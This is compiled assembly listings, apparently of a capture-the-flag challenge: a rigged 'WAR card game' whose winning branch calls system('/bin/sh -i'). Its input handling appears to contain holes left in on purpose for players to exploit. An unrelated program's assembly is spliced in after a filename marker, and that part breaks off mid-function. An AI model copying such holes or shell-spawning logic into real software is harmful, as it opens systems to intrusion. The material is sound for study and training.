stur x10, [x29, #-32]
ldur x10, [x29, #-56]
add x9, x9, x10, lsl #1
stur x9, [x29, #-40]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
sub x0, x29, #24
stur xzr, [x29, #-24]
mov w1, #8
bl _readInput
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB4_8
b LBB4_7
LBB4_7:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB4_8: ; in Loop: Header=BB4_6 Depth=1
sub x0, x29, #24
bl _atoi
stur w0, [x29, #-44]
ldur w9, [x29, #-44]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB4_10
b LBB4_9
LBB4_9: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
b LBB4_6
LBB4_10: ; in Loop: Header=BB4_6 Depth=1
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB4_12
b LBB4_11
LBB4_11: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB4_6
LBB4_12: ; in Loop: Header=BB4_6 Depth=1
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldur w8, [x29, #-44]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB4_14
b LBB4_13
LBB4_13: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
b LBB4_6
LBB4_14: ; in Loop: Header=BB4_6 Depth=1
ldur x8, [x29, #-32]
ldrsb w11, [x8, #1]
ldur x8, [x29, #-32]
ldrsb w10, [x8]
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
ldur x8, [x29, #-40]
ldrsb w11, [x8, #1]
ldur x8, [x29, #-40]
ldrsb w10, [x8]
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
ldur x8, [x29, #-40]
ldrsb w9, [x8, #1]
ldur x8, [x29, #-40]
ldrsb w8, [x8]
add w8, w8, w9, lsl #2
ldur x9, [x29, #-32]
ldrsb w10, [x9, #1]
ldur x9, [x29, #-40]
ldrsb w9, [x9]
add w9, w9, w10, lsl #2
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB4_19
b LBB4_15
LBB4_15: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
ldur x0, [x29, #-40]
bl _checkInvalidCard
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB4_17
b LBB4_16
LBB4_16: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
b LBB4_18
LBB4_17: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _printf
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldur w10, [x29, #-44]
ldr w8, [x9]
add w8, w8, w10
str w8, [x9]
b LBB4_18
LBB4_18: ; in Loop: Header=BB4_6 Depth=1
b LBB4_20
LBB4_19: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _printf
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldur w10, [x29, #-44]
ldr w8, [x9]
subs w8, w8, w10
str w8, [x9]
b LBB4_20
LBB4_20: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x9, [x8, #24]
add x9, x9, #1
str x9, [x8, #24]
ldr x9, [x8, #192]
add x9, x9, #1
str x9, [x8, #192]
ldr w8, [x8]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB4_22
b LBB4_21
LBB4_21:
adrp x0, l_.str.17@PAGE
add x0, x0, l_.str.17@PAGEOFF
bl _printf
mov w0, #0
bl _exit
LBB4_22: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #500
cset w8, le
tbnz w8, #0, LBB4_24
b LBB4_23
LBB4_23:
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
adrp x0, l_.str.19@PAGE
add x0, x0, l_.str.19@PAGEOFF
bl _system
mov w0, #0
bl _exit
LBB4_24: ; in Loop: Header=BB4_6 Depth=1
b LBB4_25
LBB4_25: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x9, [x8, #168]
subs x9, x9, #1
str x9, [x8, #168]
ldr x8, [x8, #168]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB4_27
b LBB4_26
LBB4_26:
adrp x0, l_.str.20@PAGE
add x0, x0, l_.str.20@PAGEOFF
bl _printf
mov w0, #0
bl _exit
LBB4_27: ; in Loop: Header=BB4_6 Depth=1
adrp x0, l_.str.21@PAGE
add x0, x0, l_.str.21@PAGEOFF
bl _printf
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
b LBB4_6
.cfi_endproc
; -- End function
.comm _gameData,304,3 ; @gameData
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Welcome to the WAR card game simulator. Work in progress...\n"
l_.str.1: ; @.str.1
.asciz "Cards don't exchange hands after each round, but you should be able to win without that,right?\n"
l_.str.2: ; @.str.2
.asciz "Please enter your name: \n"
l_.str.3: ; @.str.3
.asciz "Read error. Exiting.\n"
l_.str.4: ; @.str.4
.asciz "Welcome %s\n"
l_.str.5: ; @.str.5
.asciz "You have %d coins.\n"
l_.str.6: ; @.str.6
.asciz "How much would you like to bet?\n"
l_.str.7: ; @.str.7
.asciz "you bet %d.\n"
l_.str.8: ; @.str.8
.asciz "Invalid bet\n"
l_.str.9: ; @.str.9
.asciz "No negative betting for you! What do you think this is, a ctf problem?\n"
l_.str.10: ; @.str.10
.asciz "You don't have that much.\n"
l_.str.11: ; @.str.11
.asciz "The opponent has a %d of suit %d.\n"
l_.str.12: ; @.str.12
.asciz "You have a %d of suit %d.\n"
l_.str.13: ; @.str.13
.asciz "You won? Hmmm something must be wrong...\n"
l_.str.14: ; @.str.14
.asciz "Cheater. That's not actually a valid card.\n"
l_.str.15: ; @.str.15
.asciz "You actually won! Nice job\n"
l_.str.16: ; @.str.16
.asciz "You lost! :(\n"
l_.str.17: ; @.str.17
.asciz "You are out of coins. Game over.\n"
l_.str.18: ; @.str.18
.asciz "You won the game! That's real impressive, seeing as the deck was rigged...\n"
l_.str.19: ; @.str.19
.asciz "/bin/sh -i"
l_.str.20: ; @.str.20
.asciz "All card used. Card switching will be implemented in v1.0, someday.\n"
l_.str.21: ; @.str.21
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _shuffle ## -- Begin function shuffle
.p2align 4, 0x90
_shuffle: ## @shuffle
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rax, -40(%rbp)
movl $0, -44(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $1000, -44(%rbp) ## imm = 0x3E8
jae LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
callq _rand
cltq
xorl %ecx, %ecx
movl %ecx, %edx
divq -40(%rbp)
movq %rdx, -24(%rbp)
callq _rand
cltq
xorl %ecx, %ecx
movl %ecx, %edx
divq -40(%rbp)
movq %rdx, -32(%rbp)
movq -8(%rbp), %rax
movq -24(%rbp), %rcx
movw 16(%rax,%rcx,2), %ax
movw %ax, -16(%rbp)
movq -8(%rbp), %rax
movq -24(%rbp), %rcx
movq -8(%rbp), %rdx
movq -32(%rbp), %rsi
movw 16(%rdx,%rsi,2), %dx
movw %dx, 16(%rax,%rcx,2)
movq -8(%rbp), %rax
movq -32(%rbp), %rcx
movw -16(%rbp), %dx
movw %dx, 16(%rax,%rcx,2)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_1
LBB0_4:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _checkInvalidCard ## -- Begin function checkInvalidCard
.p2align 4, 0x90
_checkInvalidCard: ## @checkInvalidCard
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $4, %eax
jg LBB1_2
## %bb.1:
movq -16(%rbp), %rax
movsbl 1(%rax), %eax
cmpl $14, %eax
jle LBB1_3
LBB1_2:
movl $1, -4(%rbp)
jmp LBB1_4
LBB1_3:
movl $0, -4(%rbp)
LBB1_4:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _readInput ## -- Begin function readInput
.p2align 4, 0x90
_readInput: ## @readInput
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq $0, -24(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
callq _getchar
## kill: def $al killed $al killed $eax
movb %al, -25(%rbp)
movsbl %al, %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $10, %ecx
movb %al, -26(%rbp) ## 1-byte Spill
je LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movsbl -25(%rbp), %eax
cmpl $-1, %eax
setne %al
movb %al, -26(%rbp) ## 1-byte Spill
LBB2_3: ## in Loop: Header=BB2_1 Depth=1
movb -26(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB2_4
jmp LBB2_7
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
movl -12(%rbp), %ecx
subl $1, %ecx
movl %ecx, %ecx
## kill: def $rcx killed $ecx
cmpq %rcx, %rax
jae LBB2_6
## %bb.5: ## in Loop: Header=BB2_1 Depth=1
movb -25(%rbp), %dl
movq -8(%rbp), %rax
movq -24(%rbp), %rcx
movb %dl, (%rax,%rcx)
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
LBB2_6: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_1
LBB2_7:
movq -8(%rbp), %rax
movq -24(%rbp), %rcx
movb $0, 1(%rax,%rcx)
movq -24(%rbp), %rax
## kill: def $eax killed $eax killed $rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _buildDecks ## -- Begin function buildDecks
.p2align 4, 0x90
_buildDecks: ## @buildDecks
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq $0, -24(%rbp)
LBB3_1: ## =>This Loop Header: Depth=1
## Child Loop BB3_3 Depth 2
cmpq $6, -24(%rbp)
jae LBB3_8
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq $0, -32(%rbp)
LBB3_3: ## Parent Loop BB3_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpq $4, -32(%rbp)
jae LBB3_6
## %bb.4: ## in Loop: Header=BB3_3 Depth=2
movq -32(%rbp), %rax
movb %al, %dl
movq -8(%rbp), %rax
movq -24(%rbp), %rcx
shlq $2, %rcx
addq -32(%rbp), %rcx
movb %dl, 24(%rax,%rcx,2)
movq -24(%rbp), %rax
addq $2, %rax
movb %al, %dl
movq -8(%rbp), %rax
movq -24(%rbp), %rcx
shlq $2, %rcx
addq -32(%rbp), %rcx
movb %dl, 25(%rax,%rcx,2)
## %bb.5: ## in Loop: Header=BB3_3 Depth=2
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
jmp LBB3_3
LBB3_6: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_7
LBB3_7: ## in Loop: Header=BB3_1 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB3_1
LBB3_8:
movq $0, -40(%rbp)
LBB3_9: ## =>This Loop Header: Depth=1
## Child Loop BB3_11 Depth 2
cmpq $6, -40(%rbp)
jae LBB3_16
## %bb.10: ## in Loop: Header=BB3_9 Depth=1
movq $0, -48(%rbp)
LBB3_11: ## Parent Loop BB3_9 Depth=1
## => This Inner Loop Header: Depth=2
cmpq $4, -48(%rbp)
jae LBB3_14
## %bb.12: ## in Loop: Header=BB3_11 Depth=2
movq -48(%rbp), %rax
movb %al, %dl
movq -16(%rbp), %rax
movq -40(%rbp), %rcx
shlq $2, %rcx
addq -48(%rbp), %rcx
movb %dl, 24(%rax,%rcx,2)
movq -40(%rbp), %rax
addq $9, %rax
movb %al, %dl
movq -16(%rbp), %rax
movq -40(%rbp), %rcx
shlq $2, %rcx
addq -48(%rbp), %rcx
movb %dl, 25(%rax,%rcx,2)
## %bb.13: ## in Loop: Header=BB3_11 Depth=2
movq -48(%rbp), %rax
addq $1, %rax
movq %rax, -48(%rbp)
jmp LBB3_11
LBB3_14: ## in Loop: Header=BB3_9 Depth=1
jmp LBB3_15
LBB3_15: ## in Loop: Header=BB3_9 Depth=1
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -40(%rbp)
jmp LBB3_9
LBB3_16:
movq -8(%rbp), %rax
movb $0, 72(%rax)
movq -8(%rbp), %rax
movb $8, 73(%rax)
movq -8(%rbp), %rax
movb $1, 74(%rax)
movq -8(%rbp), %rax
movb $8, 75(%rax)
movq -16(%rbp), %rax
movb $2, 72(%rax)
movq -16(%rbp), %rax
movb $8, 73(%rax)
movq -16(%rbp), %rax
movb $3, 74(%rax)
movq -16(%rbp), %rax
movb $8, 75(%rax)
movq -8(%rbp), %rax
movq $26, 8(%rax)
movq -8(%rbp), %rax
movq $0, 16(%rax)
movq -16(%rbp), %rax
movq $26, 8(%rax)
movq -16(%rbp), %rax
movq $0, 16(%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq _gameData@GOTPCREL(%rip), %rdi
xorl %esi, %esi
movl $304, %edx ## imm = 0x130
callq _memset
movq _gameData@GOTPCREL(%rip), %rax
movl $100, (%rax)
movq _gameData@GOTPCREL(%rip), %rsi
movq %rsi, %rdi
addq $8, %rdi
addq $176, %rsi
callq _buildDecks
xorl %eax, %eax
movl %eax, %edi
callq _time
movl %eax, %edi
callq _srand
movq _gameData@GOTPCREL(%rip), %rdi
addq $16, %rdi
callq _shuffle
movq _gameData@GOTPCREL(%rip), %rdi
addq $184, %rdi
callq _shuffle
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _setbuf
movq _gameData@GOTPCREL(%rip), %rax
movq 16(%rax), %rax
movq _gameData@GOTPCREL(%rip), %rcx
cmpq 184(%rcx), %rax
jbe LBB4_2
## %bb.1:
movq _gameData@GOTPCREL(%rip), %rax
movq 184(%rax), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
jmp LBB4_3
LBB4_2:
movq _gameData@GOTPCREL(%rip), %rax
movq 16(%rax), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
LBB4_3:
movq -72(%rbp), %rcx ## 8-byte Reload
movq _gameData@GOTPCREL(%rip), %rax
movq %rcx, 168(%rax)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq _gameData@GOTPCREL(%rip), %rdi
addq $136, %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
movq _gameData@GOTPCREL(%rip), %rdi
addq $136, %rdi
movl $32, %esi
callq _readInput
cmpl $0, %eax
jne LBB4_5
## %bb.4:
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB4_5:
leaq L_.str.4(%rip), %rdi
movq _gameData@GOTPCREL(%rip), %rsi
addq $136, %rsi
movb $0, %al
callq _printf
LBB4_6: ## =>This Inner Loop Header: Depth=1
movq _gameData@GOTPCREL(%rip), %rax
movq 24(%rax), %rax
movq %rax, -56(%rbp)
movq _gameData@GOTPCREL(%rip), %rax
movq 192(%rax), %rax
movq %rax, -64(%rbp)
movq -64(%rbp), %rcx
movq _gameData@GOTPCREL(%rip), %rax
addq $200, %rax
shlq $1, %rcx
addq %rcx, %rax
movq %rax, -32(%rbp)
movq -56(%rbp), %rcx
movq _gameData@GOTPCREL(%rip), %rax
addq $32, %rax
shlq $1, %rcx
addq %rcx, %rax
movq %rax, -40(%rbp)
movq _gameData@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq -24(%rbp), %rdi
xorl %esi, %esi
movl $8, %edx
callq _memset
leaq -24(%rbp), %rdi
movl $8, %esi
callq _readInput
cmpl $0, %eax
jne LBB4_8
## %bb.7:
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB4_8: ## in Loop: Header=BB4_6 Depth=1
leaq -24(%rbp), %rdi
callq _atoi
movl %eax, -44(%rbp)
movl -44(%rbp), %esi
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
cmpl $0, -44(%rbp)
jne LBB4_10
## %bb.9: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB4_6
LBB4_10: ## in Loop: Header=BB4_6 Depth=1
cmpl $0, -44(%rbp)
jge LBB4_12
## %bb.11: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB4_6
LBB4_12: ## in Loop: Header=BB4_6 Depth=1
movl -44(%rbp), %eax
movq _gameData@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jle LBB4_14
## %bb.13: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB4_6
LBB4_14: ## in Loop: Header=BB4_6 Depth=1
movq -32(%rbp), %rax
movsbl 1(%rax), %esi
movq -32(%rbp), %rax
movsbl (%rax), %edx
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
movq -40(%rbp), %rax
movsbl 1(%rax), %esi
movq -40(%rbp), %rax
movsbl (%rax), %edx
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movq -40(%rbp), %rax
movsbl 1(%rax), %eax
shll $2, %eax
movq -40(%rbp), %rcx
movsbl (%rcx), %ecx
addl %ecx, %eax
movq -32(%rbp), %rcx
movsbl 1(%rcx), %ecx
shll $2, %ecx
movq -40(%rbp), %rdx
movsbl (%rdx), %edx
addl %edx, %ecx
cmpl %ecx, %eax
jle LBB4_19
## %bb.15: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
movq -40(%rbp), %rdi
callq _checkInvalidCard
cmpl $0, %eax
je LBB4_17
## %bb.16: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.14(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB4_18
LBB4_17: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.15(%rip), %rdi
movb $0, %al
callq _printf
movl -44(%rbp), %ecx
movq _gameData@GOTPCREL(%rip), %rax
addl (%rax), %ecx
movq _gameData@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB4_18: ## in Loop: Header=BB4_6 Depth=1
jmp LBB4_20
LBB4_19: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.16(%rip), %rdi
movb $0, %al
callq _printf
movl -44(%rbp), %eax
movq _gameData@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
subl %eax, %ecx
movq _gameData@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB4_20: ## in Loop: Header=BB4_6 Depth=1
movq _gameData@GOTPCREL(%rip), %rax
movq 24(%rax), %rcx
addq $1, %rcx
movq _gameData@GOTPCREL(%rip), %rax
movq %rcx, 24(%rax)
movq _gameData@GOTPCREL(%rip), %rax
movq 192(%rax), %rcx
addq $1, %rcx
movq _gameData@GOTPCREL(%rip), %rax
movq %rcx, 192(%rax)
movq _gameData@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jg LBB4_22
## %bb.21:
leaq L_.str.17(%rip), %rdi
xorl %eax, %eax
movl %eax, -76(%rbp) ## 4-byte Spill
callq _printf
movl -76(%rbp), %edi ## 4-byte Reload
callq _exit
LBB4_22: ## in Loop: Header=BB4_6 Depth=1
movq _gameData@GOTPCREL(%rip), %rax
cmpl $500, (%rax) ## imm = 0x1F4
jle LBB4_24
## %bb.23:
leaq L_.str.18(%rip), %rdi
xorl %eax, %eax
movl %eax, -80(%rbp) ## 4-byte Spill
callq _printf
leaq L_.str.19(%rip), %rdi
callq _system
movl -80(%rbp), %edi ## 4-byte Reload
callq _exit
LBB4_24: ## in Loop: Header=BB4_6 Depth=1
jmp LBB4_25
LBB4_25: ## in Loop: Header=BB4_6 Depth=1
movq _gameData@GOTPCREL(%rip), %rax
movq 168(%rax), %rcx
addq $-1, %rcx
movq _gameData@GOTPCREL(%rip), %rax
movq %rcx, 168(%rax)
movq _gameData@GOTPCREL(%rip), %rax
cmpq $0, 168(%rax)
jne LBB4_27
## %bb.26:
leaq L_.str.20(%rip), %rdi
xorl %eax, %eax
movl %eax, -84(%rbp) ## 4-byte Spill
callq _printf
movl -84(%rbp), %edi ## 4-byte Reload
callq _exit
LBB4_27: ## in Loop: Header=BB4_6 Depth=1
leaq L_.str.21(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
jmp LBB4_6
.cfi_endproc
## -- End function
.comm _gameData,304,3 ## @gameData
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Welcome to the WAR card game simulator. Work in progress...\n"
L_.str.1: ## @.str.1
.asciz "Cards don't exchange hands after each round, but you should be able to win without that,right?\n"
L_.str.2: ## @.str.2
.asciz "Please enter your name: \n"
L_.str.3: ## @.str.3
.asciz "Read error. Exiting.\n"
L_.str.4: ## @.str.4
.asciz "Welcome %s\n"
L_.str.5: ## @.str.5
.asciz "You have %d coins.\n"
L_.str.6: ## @.str.6
.asciz "How much would you like to bet?\n"
L_.str.7: ## @.str.7
.asciz "you bet %d.\n"
L_.str.8: ## @.str.8
.asciz "Invalid bet\n"
L_.str.9: ## @.str.9
.asciz "No negative betting for you! What do you think this is, a ctf problem?\n"
L_.str.10: ## @.str.10
.asciz "You don't have that much.\n"
L_.str.11: ## @.str.11
.asciz "The opponent has a %d of suit %d.\n"
L_.str.12: ## @.str.12
.asciz "You have a %d of suit %d.\n"
L_.str.13: ## @.str.13
.asciz "You won? Hmmm something must be wrong...\n"
L_.str.14: ## @.str.14
.asciz "Cheater. That's not actually a valid card.\n"
L_.str.15: ## @.str.15
.asciz "You actually won! Nice job\n"
L_.str.16: ## @.str.16
.asciz "You lost! :(\n"
L_.str.17: ## @.str.17
.asciz "You are out of coins. Game over.\n"
L_.str.18: ## @.str.18
.asciz "You won the game! That's real impressive, seeing as the deck was rigged...\n"
L_.str.19: ## @.str.19
.asciz "/bin/sh -i"
L_.str.20: ## @.str.20
.asciz "All card used. Card switching will be implemented in v1.0, someday.\n"
L_.str.21: ## @.str.21
.asciz "\n"
.subsections_via_symbols
| the_stack_data/97012561.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #432
.cfi_def_cfa_offset 432
stp x28, x27, [sp, #400] ; 16-byte Folded Spill
stp x29, x30, [sp, #416] ; 16-byte Folded Spill
add x29, sp, #416
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #132]
str w0, [sp, #128]
str x1, [sp, #120]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
str x0, [sp, #112]
ldr x8, [sp, #112]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_27
b LBB0_1
LBB0_1:
str wzr, [sp, #108]
b LBB0_2
LBB0_2: ; =>This Inner Loop Header: Depth=1
ldr x2, [sp, #112]
add x0, sp, #136
mov w1, #256
bl _fgets
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_2 Depth=1
ldr w8, [sp, #108]
add w8, w8, #1
str w8, [sp, #108]
b LBB0_2
LBB0_4:
ldr w9, [sp, #108]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr w8, [sp, #108]
mov x9, x8
mov x8, #8
mul x0, x8, x9
bl _malloc
str x0, [sp, #96]
ldr x0, [sp, #112]
bl _rewind
str wzr, [sp, #92]
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldr x2, [sp, #112]
add x0, sp, #136
mov w1, #256
bl _fgets
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldr x8, [sp, #96]
ldr w9, [sp, #92]
; kill: def $x9 killed $w9
mov x10, x9
add w10, w10, #1
str w10, [sp, #92]
add x8, x8, x9, lsl #3
mov x9, sp
str x8, [x9]
add x0, sp, #136
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _sscanf
b LBB0_5
LBB0_7:
str xzr, [sp, #80]
mov x8, #40546
movk x8, #6010, lsl #16
str x8, [sp, #72]
str xzr, [sp, #64]
str wzr, [sp, #60]
b LBB0_8
LBB0_8: ; =>This Loop Header: Depth=1
; Child Loop BB0_10 Depth 2
ldr w8, [sp, #60]
ldr w9, [sp, #92]
subs w8, w8, w9
cset w8, hs
tbnz w8, #0, LBB0_26
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_8 Depth=1
ldr x8, [sp, #96]
ldr w9, [sp, #60]
; kill: def $x9 killed $w9
ldr x9, [x8, x9, lsl #3]
ldr x8, [sp, #80]
add x8, x8, x9
str x8, [sp, #80]
b LBB0_10
LBB0_10: ; Parent Loop BB0_8 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #80]
ldr x9, [sp, #72]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_10 Depth=2
ldr x8, [sp, #96]
ldr x9, [sp, #64]
add x10, x9, #1
str x10, [sp, #64]
ldr x9, [x8, x9, lsl #3]
ldr x8, [sp, #80]
subs x8, x8, x9
str x8, [sp, #80]
b LBB0_10
LBB0_12: ; in Loop: Header=BB0_8 Depth=1
ldr x8, [sp, #80]
ldr x9, [sp, #72]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_24
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_8 Depth=1
ldr x8, [sp, #64]
ldr w9, [sp, #60]
; kill: def $x9 killed $w9
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_24
b LBB0_14
LBB0_14:
ldr x8, [sp, #96]
ldr w9, [sp, #60]
; kill: def $x9 killed $w9
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #48]
ldr x8, [sp, #96]
ldr w9, [sp, #60]
